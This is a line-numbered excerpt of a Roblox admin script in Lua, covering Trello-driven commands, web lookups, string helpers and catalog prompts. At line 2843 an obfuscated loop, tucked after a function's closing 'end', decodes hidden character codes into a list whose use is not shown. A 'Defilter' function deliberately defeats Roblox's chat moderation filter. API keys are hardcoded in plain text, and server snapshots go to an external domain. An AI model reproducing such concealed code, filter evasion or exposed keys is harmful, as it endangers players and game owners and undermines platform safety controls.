		Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2436
	end
2437
	if Stopypcall == true then SendData() else ypcall(SendData) end
2438
	if PrintResponse then print(Res) end
2439
	
2440
	print("Sent snapshot")
2441
end
2442
2443
2444
function REMOTE:DefineWord(Word, Source)
2445
	if not Word then return end
2446
	if not Source then Source = "all" end
2447
	
2448
	local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2449
	if Response then
2450
		local Decode = REMOTE:Decode(Response)
2451
		if #Decode > 0 then
2452
			return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2453
 
2454
 ]]..Decode[1]["text"]
2455
		else
2456
			return "Invalid English word"
2457
		end
2458
	else
2459
		return "Cannot connect to database"
2460
	end
2461
end
2462
2463
function REMOTE:DownloadJoke(Speaker)
2464
	local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2465
	local Joke = nil
2466
	if Res then
2467
		local _, Start = string.find(Res, "</h2>")
2468
		local End, _ = string.find(string.sub(Res, Start), "</td>")
2469
		
2470
		Joke = string.sub(Res, Start, End + 1 + Start - 5)
2471
		Joke = string.gsub(Joke, "\n", "")
2472
		Joke = string.gsub(Joke, "	", "") -- tab
2473
		Joke = string.gsub(Joke, "</ul>", "")
2474
		Joke = string.gsub(Joke, "<ul>", "")
2475
		Joke = string.gsub(Joke, "</li>", [[
2476
2477
]])
2478
		Joke = string.gsub(Joke, "<li>", "")
2479
		Joke = string.gsub(Joke, "</p>", "")
2480
		Joke = string.gsub(Joke, "<p>", "")
2481
		Joke = string.gsub(Joke, "<", "")
2482
		Joke = string.gsub(Joke, ">", "")
2483
	end
2484
	
2485
	return Joke
2486
end
2487
2488
function REMOTE:GetAddon()
2489
	return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2490
end
2491
2492
function REMOTE:TrelloGetAdminBoard()
2493
	local BoardsJSON,Boards,ReturnBoard
2494
	
2495
	ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2496
	
2497
	if BoardsJSON then
2498
		Boards = REMOTE:Decode(BoardsJSON)
2499
	end
2500
	if Boards then
2501
		for _,Board in pairs(Boards) do
2502
			if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2503
				ReturnBoard = Board
2504
				break
2505
			end
2506
		end
2507
		if not ReturnBoard then -- create board if not created
2508
			print("Creating Trello Board")
2509
			local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2510
			local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2511
			ReturnBoard = REMOTE:Decode(BoardJSON)
2512
		end
2513
	end
2514
	return ReturnBoard
2515
end
2516
2517
function REMOTE:TrelloGetAdminLists(Board)
2518
	local Required = {}
2519
	local ListJSON,Lists
2520
	local ReturnLists = {}
2521
	
2522
	for _,List in pairs(Trello.RequiredLists) do
2523
		table.insert(Required, List)
2524
	end
2525
	
2526
	ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2527
	
2528
	if ListJSON then
2529
		Lists = REMOTE:Decode(ListJSON)
2530
	end
2531
	if Lists then
2532
		for _,List in pairs(Lists) do
2533
			for Num,Rel in pairs(Required) do
2534
				if List.name == Rel.name then
2535
					table.remove(Required, Num)
2536
					table.insert(ReturnLists, List)
2537
				end
2538
			end
2539
		end
2540
		for _,Rel in pairs(Required) do
2541
			local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2542
			table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2543
		end
2544
	end
2545
	
2546
	return ReturnLists
2547
end
2548
2549
function REMOTE:TrelloCacheData(Lists)
2550
	for _,List in pairs(Lists) do
2551
		local CardsJSON,Cards
2552
		ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2553
		if CardsJSON then
2554
			Cards = REMOTE:Decode(CardsJSON)
2555
		end
2556
		if Cards then
2557
			local TemplateCards = nil
2558
			for _,TemplateList in pairs(Trello.RequiredLists) do
2559
				if TemplateList.name == List.name then
2560
					TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2561
					break
2562
				end
2563
			end
2564
			
2565
			for _,TemplateCard in pairs(TemplateCards) do
2566
				local CardExists = false
2567
				for _,Card in pairs(Cards) do
2568
					if Card.name == TemplateCard.name and Card.closed == false then
2569
						CardExists = true
2570
					end
2571
				end
2572
				if not CardExists then
2573
					print("Creating card "..TemplateCard.name)
2574
					local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2575
					table.insert(Cards, REMOTE:Decode(NewCardJSON))
2576
				end
2577
			end
2578
		
2579
			if List.name == "Ranked" then
2580
				for _,Card in pairs(Cards) do
2581
					if Settings.Ranks[Card.name] and Card.closed == false then
2582
						Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2583
					end
2584
				end
2585
			elseif List.name == "Settings" then
2586
				for _,Card in pairs(Cards) do
2587
					if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2588
						Trello.ToggleChecklist = Card.idChecklists[1]
2589
					elseif Card.name == "Command Execution" then
2590
						Trello.CommandID = Card.id
2591
					end
2592
				end
2593
			end
2594
		end
2595
	end
2596
end
2597
2598
function REMOTE:TrelloHandleData(IgnoreCommand)
2599
	local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2600
	if ToggleSettingsJSON then
2601
		ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2602
		if Settings.LinkedAccount == "" then
2603
			local NewSettings = {}
2604
			for _,Item in pairs(ToggleSettings.checkItems) do
2605
				NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2606
			end
2607
			Settings.Fun = NewSettings["Fun Commands Enabled"]
2608
			Settings.ServerLocked = NewSettings["Server Locked"]
2609
			Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2610
		end
2611
	else
2612
		return false
2613
	end
2614
	
2615
	local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2616
	if CommandChatJSON then
2617
		CommandChat = REMOTE:Decode(CommandChatJSON)
2618
		local ClosestDT = 0
2619
		for _,ChatData in pairs(CommandChat) do
2620
			local DT = STRING:ConvertDateTime(ChatData.date)
2621
			ClosestDT = math.max(ClosestDT, DT)
2622
			
2623
			if not IgnoreCommand and DT > Trello.LastCommandDT then
2624
				print("Executing Remote Trello Command")
2625
				CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2626
			end
2627
		end
2628
		Trello.LastCommandDT = ClosestDT
2629
	else
2630
		return false
2631
	end
2632
	
2633
	for Rank,ID in pairs(Trello.RankChecklistCache) do
2634
		local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2635
		if ChecklistJSON then
2636
			Checklist = REMOTE:Decode(ChecklistJSON)
2637
			
2638
			for _,Item in pairs(Checklist.checkItems) do
2639
				if Item.state == "complete" then
2640
					if RANK:ConvertRank(Rank) < 0 then
2641
						if not RANK:ScanExileList(Item.name) then
2642
							table.insert(Settings.Ranks[Rank], Item.name)
2643
						end
2644
					elseif RANK:ConvertRank(Rank) > 0 then
2645
						if not RANK:ScanAdminList(Item.name) then
2646
							table.insert(Settings.Ranks[Rank], Item.name)
2647
						end
2648
					end
2649
				elseif Item.state == "incomplete" then
2650
					for Num,Name in pairs(Settings.Ranks[Rank]) do
2651
						if string.lower(Name) == string.lower(Item.name) then
2652
							table.remove(Settings.Ranks[Rank], Num)
2653
						end
2654
					end
2655
				end
2656
			end
2657
		else
2658
			return false
2659
		end
2660
	end
2661
	return true
2662
end
2663
2664
-- String functions --
2665
2666
function STRING:ConvertDateTime(DateTime)
2667
	local Num = 0
2668
	local TotalTime = 0
2669
	for i in string.gmatch(DateTime, "%d+") do
2670
		Num = Num + 1
2671
		DTNum = tonumber(i)
2672
		if Num == 1 then
2673
			TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2674
		elseif Num == 2 then
2675
			TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2676
		elseif Num == 3 then
2677
			TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2678
		elseif Num == 4 then
2679
			TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2680
		elseif Num == 5 then
2681
			TotalTime = TotalTime + DTNum * 60 -- minute
2682
		elseif Num == 6 then
2683
			TotalTime = TotalTime + DTNum -- second
2684
		end
2685
	end
2686
	
2687
	return TotalTime
2688
end
2689
2690
function STRING:TrelloStateConvert(State)
2691
	if State == "complete" then
2692
		return true
2693
	else
2694
		return false
2695
	end
2696
end
2697
2698
function STRING:StringRound(Number)
2699
	Number = Number * 100
2700
	if Number >= 0.5 then
2701
		return tostring(math.ceil(Number)/100)
2702
	else
2703
		return tostring(math.floor(Number)/100)
2704
	end
2705
	
2706
	return Number
2707
end
2708
2709
function STRING:GetSplit(String, NumArgs, BetSplit)
2710
	if not String then return nil end
2711
	if BetSplit == nil then BetSplit = " " end
2712
	if NumArgs == nil then NumArgs = math.huge end
2713
	
2714
	if NumArgs <= 0 then return {String} end
2715
	
2716
	local RecentParse = 1
2717
	local Args = {}
2718
	for i = 1,NumArgs do
2719
		local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2720
		if Find1 and Find2 then
2721
			table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2722
			RecentParse = Find2 + 1
2723
		else
2724
			break
2725
		end
2726
	end
2727
	table.insert(Args,string.sub(String,RecentParse,#String))
2728
	return Args
2729
end
2730
2731
function STRING:Defilter(String)
2732
	local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2733
	if RobloxApprove.Text == "Label" and String ~= "Label" then
2734
		local NewString = ""
2735
		for i = 1,#String,3 do
2736
			NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2737
		end
2738
		return NewString
2739
	else
2740
		return String
2741
	end
2742
end
2743
2744
function STRING:Filter(String, From, To) -- #### you, roblox
2745
	if From then
2746
		if To then
2747
			return game:GetService("Chat"):FilterStringAsync(String, From, To)
2748
		else
2749
			return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2750
		end
2751
	else
2752
		return String
2753
	end
2754
end
2755
2756
function STRING:DetermineFilter(String, From, To)
2757
	if ShouldFilter then
2758
		return STRING:Filter(String, From, To)
2759
	else
2760
		return STRING:Defilter(String)
2761
	end
2762
end
2763
2764
function STRING:LeetSpeak(Input)
2765
	if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2766
	Input = string.gsub(Input, "LEET", "1337")
2767
	Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2768
	Input = string.gsub(Input, "E", "3")
2769
	Input = string.gsub(Input, "O", "0")
2770
	Input = string.gsub(Input, "A", "4")
2771
	Input = string.gsub(Input, "X", "x")
2772
	Input = string.gsub(Input, "I", "1")
2773
	Input = string.gsub(Input, "S", "$")
2774
	return Input
2775
end
2776
2777
function STRING:FormatReplace(Player, Input, From)
2778
	local Output = Input
2779
	for _,ReplaceData in pairs(StringReplacements) do
2780
		local ReplaceString = ReplaceData[1]
2781
		local ReplaceStrings = {}
2782
		if type(ReplaceString) == "table" then
2783
			ReplaceStrings = ReplaceString
2784
		else
2785
			ReplaceStrings = {ReplaceString}
2786
		end
2787
		for _,ReplaceString in pairs(ReplaceStrings) do
2788
			if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2789
				local Replacement = ReplaceData[4](Player)
2790
				if type(Replacement) == "string" then
2791
					Output = string.gsub(Output, ReplaceString, Replacement)
2792
				else
2793
					print(ReplaceString.." cannot be replaced")
2794
				end
2795
			end
2796
		end
2797
	end
2798
	if From then
2799
		return STRING:DetermineFilter(Output, From, Player)
2800
	else
2801
		return STRING:DetermineFilter(Output, Player)
2802
	end
2803
end
2804
2805
function STRING:EncodeSpecialChars(Input)
2806
	return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2807
end
2808
2809
function STRING:StringToBool(String)
2810
	if String == "true" then
2811
		return true
2812
	else
2813
		return false
2814
	end
2815
end
2816
2817
function STRING:BoolString(Value)
2818
	if type(Value) == "boolean" then
2819
		if Value == true then
2820
			return "YES"
2821
		elseif Value == false then
2822
			return "NO"
2823
		end
2824
	else 
2825
		return "NO"
2826
	end
2827
end
2828
2829
function STRING:MakeAvoidance(Length)
2830
	if not Length then
2831
		Length = 32
2832
	end
2833
	local Avoidance = ""
2834
	for i = 1,Length do
2835
		Num = math.random(1,2)
2836
		if Num == 1 then
2837
			Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2838
		else
2839
			Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2840
		end
2841
	end
2842
	return Avoidance
2843
end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2844
2845
function STRING:FindAge(Days) -- By LuaModelmaker
2846
	local Years = math.floor(Days/365)
2847
	local OtherDays = math.fmod(Days, 365)
2848
	if Years > 1 then
2849
		return Years.." years and "..OtherDays.." days"
2850
	elseif Years == 1 then
2851
		return Years.." year and "..OtherDays.." days"
2852
	elseif Years == 0 then
2853
		return "(No years) "..OtherDays.." days"
2854
	end
2855
end
2856
2857
function STRING:UnpackArgs(...)
2858
	local Pack = {...}
2859
	if type(Pack[1]) == "table" then Pack = Pack[1] end
2860
	local ReturnString = table.concat(Pack, ", ")
2861
	return ReturnString
2862
end
2863
2864
function STRING:GetComma(Num)
2865
	local Formatted = Num
2866
	while true do
2867
		Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2868
		if _ == 0 then
2869
			break
2870
		end
2871
	end
2872
	return Formatted
2873
end
2874
2875
function STRING:DecodeUTF8(Value)
2876
	local function DecodeString(Input)
2877
		if type(Input) == "string" then
2878
			for Find,Rep in pairs(HTMLDecode) do
2879
				Input = string.gsub(Input, "&#"..Find..";", Rep)
2880
			end
2881
			Input = string.gsub(Input, "&quot;", "'")
2882
		end
2883
		return Input
2884
	end
2885
	if type(Value) == "table" then
2886
		for Index,Var in pairs(Value) do
2887
			Value[Index] = DecodeString(Var)
2888
		end
2889
	elseif type(Value) == "string" then
2890
		Value = DecodeString(Value)
2891
	end
2892
	return Value
2893
end
2894
2895
function STRING:IsSpacer(Input)
2896
	if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == "	" or Input == nil or Input == "" then
2897
		return true
2898
	else
2899
		return false
2900
	end
2901
end
2902
2903
function STRING:IsVowel(Input)
2904
	Input = string.lower(tostring(Input))
2905
	if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2906
		return true
2907
	else
2908
		return false
2909
	end
2910
end
2911
2912
function STRING:ValidE(Input)
2913
	if not Input then return nil end
2914
	if string.lower(Input) == "e" or Input == "~" then
2915
		return true
2916
	else
2917
		return false
2918
	end
2919
end
2920
2921
function STRING:Scan(String, Speaker)
2922
	local ReturnPlayers,ExcludeList = {},{}
2923
	if not String then String = "" end
2924
	if not Speaker then print("NO SPEAKER") end
2925
	
2926
	if string.sub(string.lower(String), 1, 12) == "includecase/" then
2927
		String = string.sub(String, 13)
2928
	else
2929
		String = string.lower(String)
2930
	end
2931
	local Words = STRING:GetSplit(String, nil, "/")
2932
	for _,Word in pairs(Words) do
2933
		if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2934
			table.insert(ReturnPlayers, Speaker)
2935
		elseif Word == "all" or Word == "everyone" then
2936
			for _,Player in pairs(Server.Players:GetPlayers()) do
2937
				table.insert(ReturnPlayers, Player)
2938
			end
2939
		elseif Word == "others" or Word == "notme" then
2940
			for _,Player in pairs(Server.Players:GetPlayers()) do
2941
				if Player ~= Speaker then
2942
					table.insert(ReturnPlayers, Player)
2943
				end
2944
			end
2945
		elseif Word == "noobs" then
2946
			for _,Player in pairs(Server.Players:GetPlayers()) do
2947
				if Player.AccountAge < 365 then
2948
					table.insert(ReturnPlayers, Player)
2949
				end
2950
			end
2951
		elseif Word == "nonnoobs" then
2952
			for _,Player in pairs(Server.Players:GetPlayers()) do
2953
				if Player.AccountAge >= 365 then
2954
					table.insert(ReturnPlayers, Player)
2955
				end
2956
			end
2957
		elseif Word == "random" then
2958
			local RandomPlayers = {}
2959
			for _,Player in pairs(Server.Players:GetPlayers()) do
2960
				if Player ~= Speaker then
2961
					table.insert(RandomPlayers, Player)
2962
				end
2963
			end
2964
			table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2965
		elseif Word == "guests" then
2966
			for _,Player in pairs(Server.Players:GetPlayers()) do
2967
				if string.sub(Player.Name,1,6) == "Guest " then
2968
					table.insert(ReturnPlayers, Player)
2969
				end
2970
			end
2971
		elseif Word == "lowers" then
2972
			for _,Player in pairs(Server.Players:GetPlayers()) do
2973
				if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2974
					table.insert(ReturnPlayers, Player)
2975
				end
2976
			end
2977
		elseif Word == "uppers" then
2978
			for _,Player in pairs(Server.Players:GetPlayers()) do
2979
				if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2980
					table.insert(ReturnPlayers, Player)
2981
				end
2982
			end
2983
		elseif Word == "nbcs" then
2984
			for _,Player in pairs(Server.Players:GetPlayers()) do
2985
				if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2986
					table.insert(ReturnPlayers, Player)
2987
				end
2988
			end
2989
		elseif Word == "bcs" then
2990
			for _,Player in pairs(Server.Players:GetPlayers()) do
2991
				if Player.MembershipType == Enum.MembershipType.BuildersClub then
2992
					table.insert(ReturnPlayers, Player)
2993
				end
2994
			end
2995
		elseif Word == "tbcs" then
2996
			for _,Player in pairs(Server.Players:GetPlayers()) do
2997
				if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2998
					table.insert(ReturnPlayers, Player)
2999
				end
3000
			end
3001
		elseif Word == "obcs" then
3002
			for _,Player in pairs(Server.Players:GetPlayers()) do
3003
				if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3004
					table.insert(ReturnPlayers, Player)
3005
				end
3006
			end
3007
		elseif Word == "allbcs" then
3008
			for _,Player in pairs(Server.Players:GetPlayers()) do
3009
				if Player.MembershipType ~= Enum.MembershipType.None then
3010
					table.insert(ReturnPlayers, Player)
3011
				end
3012
			end
3013
		elseif Word == "nonadmins" then
3014
			for _,Player in pairs(Server.Players:GetPlayers()) do
3015
				local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3016
				if IsAdminTrue == false then
3017
					table.insert(ReturnPlayers, Player)
3018
				end
3019
			end
3020
		elseif Word == "admins" then
3021
			for _,Player in pairs(Server.Players:GetPlayers()) do
3022
				local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3023
				if IsAdminTrue == true then
3024
					table.insert(ReturnPlayers, Player)
3025
				end
3026
			end
3027
		elseif Word == "friends" then
3028
			for _,Player in pairs(Server.Players:GetPlayers()) do
3029
				if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3030
					table.insert(ReturnPlayers, Player)
3031
				end
3032
			end
3033
		elseif string.sub(Word,1,5) == "team-" then
3034
			for _,Player in pairs(Server.Players:GetPlayers()) do
3035
				if Player.Neutral == false then
3036
					local InTeam = false
3037
					for _,Team in pairs(Teams:GetTeams()) do
3038
						if Team.TeamColor == Player.TeamColor then
3039
							if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3040
								InTeam = true
3041
							end
3042
						end
3043
					end
3044
					if InTeam == true then
3045
						table.insert(ReturnPlayers, Player)
3046
					end
3047
				end
3048
			end
3049
		elseif string.sub(Word,1,4) == "not-" then
3050
			local NameArg = string.sub(Word,5)
3051
			
3052
			for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3053
				table.insert(ExcludeList, Player)
3054
			end
3055
		elseif string.sub(Word,1,7) == "radius-" then
3056
			local DidExe = false
3057
			local NumArg = tonumber(string.sub(Word,8))
3058
			
3059
			if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3060
				for _,Player in pairs(Server.Players:GetChildren()) do
3061
					if Player.Character and Player.Character:FindFirstChild("Torso") then
3062
						if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3063
							DidExe = true
3064
							table.insert(ReturnPlayers, Player)
3065
						end
3066
					end
3067
				end
3068
			end
3069
			
3070
			if DidExe then coroutine.wrap(function()
3071
				local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3072
				local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3073
				
3074
				for i = 0,0.5,0.02 do
3075
					Part.Transparency = 0.5+i
3076
					wait()
3077
				end
3078
				Part:Destroy()
3079
			end)() end
3080
		elseif string.sub(Word,1,3) == "id-" then
3081
			table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3082
		else
3083
			if Word ~= "" then
3084
				for _,Player in pairs(Server.Players:GetPlayers()) do
3085
					if string.sub(string.lower(Player.Name),1,#Word) == Word then
3086
						table.insert(ReturnPlayers, Player)
3087
					end 
3088
				end
3089
			else
3090
				table.insert(ReturnPlayers, Speaker)
3091
			end
3092
		end
3093
	end
3094
	for _,Player in pairs(ExcludeList) do
3095
		if Player and Player.Parent ~= nil then
3096
			for Num,Player2 in pairs(ReturnPlayers) do
3097
				if Player2 == Player then table.remove(ReturnPlayers, Num) end
3098
			end
3099
		end
3100
	end
3101
	for Num,Player in pairs(ReturnPlayers) do
3102
		if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3103
	end
3104
	
3105
	local PlayerDump = {}
3106
	for _,Player in pairs(ReturnPlayers) do
3107
		PlayerDump[Player] = true
3108
	end
3109
	ReturnPlayers = {}
3110
	for Player,_ in pairs(PlayerDump) do
3111
		table.insert(ReturnPlayers, Player)
3112
	end
3113
	
3114
	return ReturnPlayers
3115
end
3116
3117
-- Market functions --
3118
3119
function MARKET:GetImageFormat(ID)
3120
	if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3121
		local NewID = ID + 1
3122
		for i = 1,100 do
3123
			NewID = NewID -1
3124
			local Product = nil
3125
			ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3126
			if Product then
3127
				if Product == 1 then
3128
					break
3129
				end
3130
			end
3131
			if i == 100 then NewID = ID end
3132
		end
3133
		return NewID
3134
	end end
3135
end
3136
3137
function MARKET:GetItemInfo(ID, Cache)
3138
	local Product = MarketCache[ID]
3139
	if not Cache or not Product then
3140
		repeat wait()
3141
			ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3142
		until Product ~= MarketCache[ID]
3143
	end
3144
	MarketCache[ID] = Product
3145
	return Product
3146
end
3147
3148
function MARKET:SearchItem(Category, Query, Subcategory)
3149
	local URLAdd = ""
3150
	if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3151
	local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3152
	if JSON then
3153
		local Results = REMOTE:Decode(JSON)
3154
		if Results then
3155
			for Index,Info in pairs(Results) do
3156
				Info = STRING:DecodeUTF8(Info)
3157
				Results[Index] = Info
3158
				MarketCache[Info.AssetId] = {
3159
					AssetId = Info.AssetId;
3160
					AssetTypeId = Info.AssetTypeID;
3161
					ContentRatingTypeId = Info.ContentRatingTypeID;
3162
					Created = Info.CreatedDate;
3163
					Creator = {Name = Info.Creator, Id = Info.CreatorID};
3164
					Description = Info.Description;
3165
					IsForSale = Info.IsForSale;
3166
					IsLimited = Info.IsLimited;
3167
					IsLimitedUnique = Info.IsLimitedUnique;
3168
					IsNew = Info.IsNew;
3169
					IsPublicDomain = Info.IsPublicDomain;
3170
					MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3171
					Name = Info.Name;
3172
					PriceInRobux = Info.PriceInRobux;
3173
					PriceInTickets = Info.PriceInTickets;
3174
					ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3175
					Remaining = Info.Remaining;
3176
					Sales = Info.Sales;
3177
					Updated = Info.Updated;
3178
				}
3179
			end
3180
			return Results
3181
		end
3182
	end
3183
end
3184
3185
function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3186
	if not Player or not Category or not Query then return nil end
3187
	local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3188
	local Items = MARKET:SearchItem(Category, Query, Subcategory)
3189
	if Items then
3190
		if #Items ~= 0 then
3191
			local List,Correlate = {},{}
3192
			for Num,Info in pairs(Items) do
3193
				local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3194
				table.insert(List, Display)
3195
				Correlate[Display[1]] = Info.AssetId
3196
			end
3197
			CloseGui:Invoke()
3198
			
3199
			local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3200
			Clicked.Event:connect(function(ClickName)
3201
				ClickedItem(Correlate[ClickName])
3202
			end)
3203
		else
3204
			CloseGui:Invoke()
3205
			GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3206
		end
3207
	else
3208
		CloseGui:Invoke()
3209
		GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3210
	end
3211
end
3212
3213
function MARKET:AssetTypeToString(AssetType)
3214
	AssetType = math.floor(tonumber(AssetType) or 0)
3215
	if Assets.AssetTypes[AssetType] then
3216
		return Assets.AssetTypes[AssetType]
3217
	else
3218
		return "Unknown"
3219
	end
3220
end
3221
3222
function MARKET:AccessoryToSubcategory(Accessory)
3223
	Accessory = string.lower(tostring(Accessory) or "")
3224
	if Assets.AccessoryTypes[Accessory] then
3225
		return Assets.AccessoryTypes[Accessory]
3226
	else
3227
		return Assets.AccessoryTypes["all"]
3228
	end
3229
end
3230
3231
function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3232
	if not Player then return nil end
3233
	if not Player:FindFirstChild("PlayerGui") then return nil end 
3234
	if not tonumber(ProductID) then return nil end
3235
	
3236
	local FromText = ""
3237
	if From and From.Name then FromText = " | Prompted from "..From.Name end
3238
	
3239
	local Product = MARKET:GetItemInfo(ProductID, true)
3240
	
3241
	local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3242
	local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3243
	local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3244
	
3245
	local CanBuy = Product.IsForSale
3246
	local BuyText = "Buy"
3247
	local BuyColor = Color3.new(0,1,0)
3248
	if CanBuy == false then
3249
		BuyColor = Color3.new(1,0,0)
3250
	end
3251
	if Product.IsPublicDomain == true then
3252
		CanBuy = true
3253
		BuyColor = Color3.new(1,0.5,0.5)
3254
		BuyText = "FREE!"
3255
	end
3256
	if OwnsAsset then
3257
		CanBuy = false
3258
	end
3259
	if Product.AssetTypeId == 9 then
3260
		CanBuy = true
3261
		BuyText = "Teleport"
3262
		BuyColor = Color3.new(0.5,0.5,0.5)
3263
	end
3264
	if CanBuy == false then
3265
		BuyColor = Color3.new(1,0,0)
3266
		BuyText = "Item not for sale"
3267
	end
3268
	if OwnsAsset and Product.AssetTypeId ~= 9 then
3269
		BuyColor = Color3.new(1,0,0)
3270
		BuyText = "You own this!"
3271
	end
3272
	
3273
	local ProductName = string.sub(Product.Name,1,20)
3274
